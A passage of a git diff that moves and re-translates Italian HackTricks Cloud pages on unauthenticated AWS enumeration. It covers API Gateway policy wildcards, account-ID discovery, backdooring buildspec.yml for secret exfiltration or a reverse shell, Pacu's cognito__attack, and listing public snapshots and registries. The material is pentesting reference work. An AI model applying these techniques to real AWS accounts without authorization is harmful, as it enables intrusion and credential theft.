+- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
+
+> [!WARNING]
+> Nota che **"\*" non smette di espandersi con le slash**, quindi, se usi "\*" in api-id per esempio, potrebbe anche indicare "any stage" o "any method" purché la regex finale sia ancora valida.\
+> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
+
+Devi sempre avere chiaro cosa vuoi permettere di accedere e poi verificare se altri scenari sono possibili con i permessi concessi.
+
+Per ulteriori informazioni, oltre alle [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), puoi trovare codice per implementare authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+
+### IAM Policy Injection
+
+In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
+
+### Public URL template
+```
+https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
+```
+### Ottenere l'Account ID da un URL pubblico di API Gateway
+
+Come per S3 buckets, Data Exchange e Lambda URLs gateways, è possibile trovare l'account ID sfruttando la **`aws:ResourceAccount`** **Policy Condition Key** da un URL pubblico di API Gateway. Questo si ottiene trovando l'account ID un carattere alla volta sfruttando i wildcard nella sezione **`aws:ResourceAccount`** della policy.\
+Questa tecnica permette anche di ottenere i **valori dei tag** se conosci la chiave del tag (ci sono alcuni valori di default interessanti).
+
+Puoi trovare più informazioni nella [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa exploitation.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
deleted file mode 100644
index a2e990a2f..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Cloudfront Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Modello di URL pubblico
-```
-https://{random_id}.cloudfront.net
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
new file mode 100644
index 000000000..68fc94504
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Cloudfront Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Template URL pubblico
+```
+https://{random_id}.cloudfront.net
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
deleted file mode 100644
index 11e7050d1..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - Accesso non autenticato a CodeBuild
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CodeBuild
-
-Per ulteriori informazioni, controlla questa pagina:
-
-{{#ref}}
-../aws-services/aws-codebuild-enum.md
-{{#endref}}
-
-### buildspec.yml
-
-Se comprometti l'accesso in scrittura su un repository contenente un file chiamato **`buildspec.yml`**, potresti **inserire un backdoor** in questo file, che specifica i **comandi che verranno eseguiti** all'interno di un progetto CodeBuild ed esfiltrare i segreti, compromettere ciò che viene fatto e anche compromettere le **credenziali del ruolo IAM di CodeBuild**.
-
-Nota che anche se non c'è alcun file **`buildspec.yml`** ma sai che Codebuild viene utilizzato (o un diverso CI/CD) **modificare del codice legittimo** che verrà eseguito può anche portarti a una reverse shell, per esempio.
-
-Per alcune informazioni correlate, puoi controllare la pagina su come attaccare Github Actions (simile a questa):
-
-{{#ref}}
-../../../pentesting-ci-cd/github-security/abusing-github-actions/
-{{#endref}}
-
-## Runners di GitHub Actions self-hosted in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
-
-Come [**indicato nella documentazione**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), è possibile configurare **CodeBuild** per eseguire **azioni Github self-hosted** quando un workflow viene attivato all'interno di un repository Github configurato. Questo può essere rilevato controllando la configurazione del progetto CodeBuild perché il **`Tipo di evento`** deve contenere: **`WORKFLOW_JOB_QUEUED`** e in un Workflow di Github perché selezionerà un runner **self-hosted** come questo:
-```bash
-runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
-```
-Questa nuova relazione tra Github Actions e AWS crea un altro modo per compromettere AWS da Github poiché il codice in Github verrà eseguito in un progetto CodeBuild con un ruolo IAM allegato.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
new file mode 100644
index 000000000..e83d3e7f9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
@@ -0,0 +1,33 @@
+# AWS - CodeBuild Accesso non autenticato
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+Per maggiori informazioni consulta questa pagina:
+
+{{#ref}}
+../../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### buildspec.yml
+
+Se ottieni accesso in scrittura a un repository che contiene un file chiamato **`buildspec.yml`**, potresti inserire una **backdoor** in questo file, che specifica i **comandi che verranno eseguiti** all'interno di un progetto CodeBuild e exfiltrate i segreti, compromettere ciò che viene eseguito e anche compromettere le **CodeBuild IAM role credentials**.
+
+Nota che anche se non esiste alcun file **`buildspec.yml`**, ma sai che CodeBuild viene utilizzato (o un diverso CI/CD), **modificare del codice legittimo** che verrà eseguito può anche darti, per esempio, una reverse shell.
+
+Per informazioni correlate puoi consultare la pagina su come attaccare Github Actions (simile a questo):
+
+{{#ref}}
+../../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
+
+As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
+```bash
+runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
+```
+Questa nuova relazione tra Github Actions e AWS crea un altro modo per compromettere AWS da Github, poiché il codice su Github verrà eseguito in un progetto CodeBuild con un ruolo IAM associato.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
deleted file mode 100644
index 09ae39d39..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Cognito Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito non autenticato
-
-Cognito è un servizio AWS che consente agli sviluppatori di **concedere ai loro utenti dell'app accesso ai servizi AWS**. Gli sviluppatori concederanno **ruoli IAM agli utenti autenticati** nella loro app (potenzialmente le persone potranno semplicemente registrarsi) e possono anche concedere un **ruolo IAM agli utenti non autenticati**.
-
-Per informazioni di base su Cognito controlla:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### ID del Pool di Identità
-
-I Pool di Identità possono concedere **ruoli IAM agli utenti non autenticati** che conoscono semplicemente **l'ID del Pool di Identità** (che è abbastanza comune **trovare**), e un attaccante con queste informazioni potrebbe cercare di **accedere a quel ruolo IAM** e sfruttarlo.\
-Inoltre, i ruoli IAM potrebbero anche essere assegnati a **utenti autenticati** che accedono al Pool di Identità. Se un attaccante può **registrare un utente** o ha già **accesso al fornitore di identità** utilizzato nel pool di identità, potrebbe accedere al **ruolo IAM assegnato agli utenti autenticati** e abusare dei suoi privilegi.
-
-[**Controlla come fare qui**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
-
-### ID del Pool Utenti
-
-Per impostazione predefinita, Cognito consente di **registrare nuovi utenti**. Essere in grado di registrare un utente potrebbe darti **accesso** all'**applicazione sottostante** o al **ruolo di accesso IAM autenticato di un Pool di Identità** che accetta come fornitore di identità il Pool Utenti di Cognito. [**Controlla come fare qui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
-
-### Moduli Pacu per pentesting e enumerazione
-
-[Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di sfruttamento AWS, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali del pool di identità utilizzabili, ruoli assunti nei token id, ecc.
-
-Per una descrizione delle funzioni dei moduli, vedere la parte 2 del [post del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione, vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Utilizzo
-
-Esempio di utilizzo di `cognito__attack` per tentare la creazione di utenti e tutti i vettori di privesc contro un dato pool di identità e client del pool utenti:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
new file mode 100644
index 000000000..d19829a0d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
@@ -0,0 +1,44 @@
+# AWS - Cognito Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Unauthenticated Cognito
+
+Cognito è un servizio AWS che permette agli sviluppatori di **concedere agli utenti della loro app l'accesso ai servizi AWS**. Gli sviluppatori assegneranno **IAM roles agli utenti autenticati** nella loro app (potenzialmente chiunque potrà semplicemente registrarsi) e possono anche concedere un **IAM role to unauthenticated users**.
+
+Per informazioni di base su Cognito consulta:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool ID
+
+Identity Pools possono concedere **IAM roles to unauthenticated users** a chi semplicemente **know the Identity Pool ID** (che è piuttosto comune da **find**), e un attaccante con queste informazioni potrebbe provare a **access that IAM rol**e e sfruttarlo.\
+Inoltre, IAM roles potrebbero anche essere assegnati a **authenticated users** che accedono all'Identity Pool. Se un attaccante può **register a user** o ha già **access to the identity provider** usato nell'identity pool, potrebbe ottenere accesso al **IAM role being given to authenticated** users e abusarne i privilegi.
+
+[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md).
+
+### User Pool ID
+
+Per impostazione predefinita Cognito permette di **register new user**. Essere in grado di registrare un utente potrebbe darti **access** all'**underlaying application** o al **authenticated IAM access role of an Identity Pool** che accetta come identity provider il Cognito User Pool. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+
+### Pacu modules for pentesting and enumeration
+
+[Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di exploitation per AWS, ora include i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumeration di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per il controllo accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e il privilege escalation basato su attributi personalizzati modificabili, credenziali utilizzabili dell'identity pool, ruoli assumibili nei token id, ecc.
+
+Per una descrizione delle funzioni dei moduli vedi la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedi la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+
+#### Usage
+
+Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i user pools, user pool clients, identity pools, users, ecc. visibili nell'account AWS corrente:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
deleted file mode 100644
index 7ca55f803..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - DocumentDB Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Modello di URL pubblico
-```
-<name>.cluster-<random>.<region>.docdb.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
new file mode 100644
index 000000000..cac17a1bf
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - DocumentDB Enumerazione non autenticata
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Template URL pubblico
+```
+<name>.cluster-<random>.<region>.docdb.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
deleted file mode 100644
index 018b72f60..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# AWS - Accesso non autenticato a DynamoDB
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Dynamo DB
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-A parte dare accesso a tutti gli account AWS o a qualche account AWS esterno compromesso, o avere alcune SQL injection in un'applicazione che comunica con DynamoDB, non conosco altre opzioni per accedere agli account AWS da DynamoDB.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
new file mode 100644
index 000000000..b57ee882c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
@@ -0,0 +1,15 @@
+# AWS - DynamoDB Unauthenticated Access
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Dynamo DB
+
+Per maggiori informazioni, consulta:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+A parte situazioni in cui ciò permette l'accesso a un intero account AWS o a un account AWS esterno compromesso, oppure quando ci sono SQL injections in un'applicazione che comunica con DynamoDB, non conosco altre opzioni per accedere agli account AWS tramite DynamoDB.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
index 24bcd2625..297407aa5 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
@@ -1,18 +1,18 @@
-# AWS - EC2 Enum Non Autenticato
+# AWS - EC2 Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## EC2 e Servizi Correlati
+## EC2 & Servizi Correlati
 
-Controlla in questa pagina ulteriori informazioni su questo:
+Consulta in questa pagina ulteriori informazioni su questo:
 
 {{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
 ### Porte Pubbliche
 
-È possibile esporre **qualsiasi porta delle macchine virtuali a Internet**. A seconda di **cosa è in esecuzione** nella porta esposta, un attaccante potrebbe abusarne.
+È possibile esporre **qualsiasi porta delle macchine virtuali su Internet**. A seconda di **ciò che è in esecuzione** sulla porta esposta, un attaccante potrebbe abusarne.
 
 #### SSRF
 
@@ -20,9 +20,9 @@ Controlla in questa pagina ulteriori informazioni su questo:
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}
 
-### AMI Pubbliche e Snapshot EBS
+### Public AMIs & EBS Snapshots
 
-AWS consente di **dare accesso a chiunque per scaricare AMI e Snapshot**. Puoi elencare queste risorse molto facilmente dal tuo account:
+AWS permette di **consentire a chiunque di scaricare AMIs e Snapshots**. Puoi elencare queste risorse molto facilmente dal tuo account:
 ```bash
 # Public AMIs
 aws ec2 describe-images --executable-users all
@@ -37,9 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
 aws ec2 describe-snapshots --restorable-by-user-ids all
 aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
 ```
-Se trovi uno snapshot che può essere ripristinato da chiunque, assicurati di controllare [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) per le istruzioni su come scaricare e saccheggiare lo snapshot.
+Se trovi uno snapshot che può essere ripristinato da chiunque, assicurati di consultare [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) per istruzioni su come scaricare e saccheggiare lo snapshot.
 
-#### Modello di URL pubblico
+#### Modello URL pubblico
 ```bash
 # EC2
 ec2-{ip-seperated}.compute-1.amazonaws.com
@@ -51,4 +51,4 @@ https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
 ```bash
 aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
deleted file mode 100644
index 655a96504..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - ECR Enum Non Autenticato
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Repository di registri pubblici (immagini)
-
-Come menzionato nella sezione ECS Enum, un registro pubblico è **accessibile da chiunque** utilizza il formato **`public.ecr.aws/<random>/<name>`**. Se un URL di repository pubblico viene individuato da un attaccante, potrebbe **scaricare l'immagine e cercare informazioni sensibili** nei metadati e nel contenuto dell'immagine.
-```bash
-aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
-```
-> [!WARNING]
-> Questo potrebbe accadere anche in **registri privati** dove una policy del registro o una policy del repository sta **concedendo accesso ad esempio a `"AWS": "*"`**. Chiunque abbia un account AWS potrebbe accedere a quel repository.
-
-### Enumerare Repo Privati
-
-Gli strumenti [**skopeo**](https://github.com/containers/skopeo) e [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) possono essere utilizzati per elencare i repository accessibili all'interno di un registro privato.
-```bash
-# Get image names
-skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
-crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1edc9f3ea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
@@ -0,0 +1,30 @@
+# AWS - ECR Enumerazione non autenticata
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Repository pubblici (immagini)
+
+Come menzionato nella sezione ECS Enum, un registro pubblico è **accessibile da chiunque** e usa il formato **`public.ecr.aws/<random>/<name>`**. Se un URL di un repository pubblico viene individuato da un attacker, questi potrebbe **scaricare l'immagine e cercare informazioni sensibili** nei metadati e nel contenuto dell'immagine.
+```bash
+aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
+```
+> [!WARNING]
+> Questo può verificarsi anche in **registri privati** dove una **registry policy** o una **repository policy** sta **concedendo l'accesso, ad esempio a `"AWS": "*"`**. Chiunque con un account AWS potrebbe accedere a quel repo.
+
+### Enumerare repo privati
+
+Gli strumenti [**skopeo**](https://github.com/containers/skopeo) e [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) possono essere usati per elencare i repo accessibili all'interno di un registry privato.
+```bash
+# Get image names
+skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
+crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
deleted file mode 100644
index 5d7f4249b..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - ECS Enum Non Autenticato
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Gruppo di Sicurezza o Bilanciatore di Carico Accessibile Pubblicamente per i Servizi ECS
-
-Un gruppo di sicurezza mal configurato che **consente il traffico in entrata da internet (0.0.0.0/0 o ::/0)** ai servizi Amazon ECS potrebbe esporre le risorse AWS ad attacchi.
-```bash
-# Example of detecting misconfigured security group for ECS services
-aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
-
-# Example of detecting a publicly accessible load balancer for ECS services
-aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..122da6252
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
@@ -0,0 +1,23 @@
+# AWS - ECS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Security Group o Load Balancer accessibile pubblicamente per i servizi ECS
+
+Un Security Group mal configurato che **consente traffico in ingresso da internet (0.0.0.0/0 o ::/0)** verso i servizi Amazon ECS potrebbe esporre le risorse AWS ad attacchi.
+```bash
+# Example of detecting misconfigured security group for ECS services
+aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
+
+# Example of detecting a publicly accessible load balancer for ECS services
+aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
deleted file mode 100644
index 1bcd05532..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Elastic Beanstalk Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### Vulnerabilità Web
-
-Nota che per impostazione predefinita gli ambienti Beanstalk hanno **Metadatav1 disabilitato**.
-
-Il formato delle pagine web di Beanstalk è **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
-
-### Regole del Gruppo di Sicurezza Insicure
-
-Regole del gruppo di sicurezza mal configurate possono esporre le istanze di Elastic Beanstalk al pubblico. **Regole di ingresso eccessivamente permissive, come consentire il traffico da qualsiasi indirizzo IP (0.0.0.0/0) su porte sensibili, possono consentire agli attaccanti di accedere all'istanza**.
-
-### Bilanciatore di Carico Pubblicamente Accessibile
-
-Se un ambiente Elastic Beanstalk utilizza un bilanciatore di carico e il bilanciatore di carico è configurato per essere accessibile pubblicamente, gli attaccanti possono **inviare richieste direttamente al bilanciatore di carico**. Anche se questo potrebbe non essere un problema per le applicazioni web destinate ad essere accessibili pubblicamente, potrebbe essere un problema per applicazioni o ambienti privati.
-
-### Bucket S3 Pubblicamente Accessibili
-
-Le applicazioni Elastic Beanstalk sono spesso memorizzate in bucket S3 prima del deployment. Se il bucket S3 contenente l'applicazione è pubblicamente accessibile, un attaccante potrebbe **scaricare il codice dell'applicazione e cercare vulnerabilità o informazioni sensibili**.
-
-### Enumerare Ambienti Pubblici
-```bash
-aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..55e6f0f6d
--- /dev/null
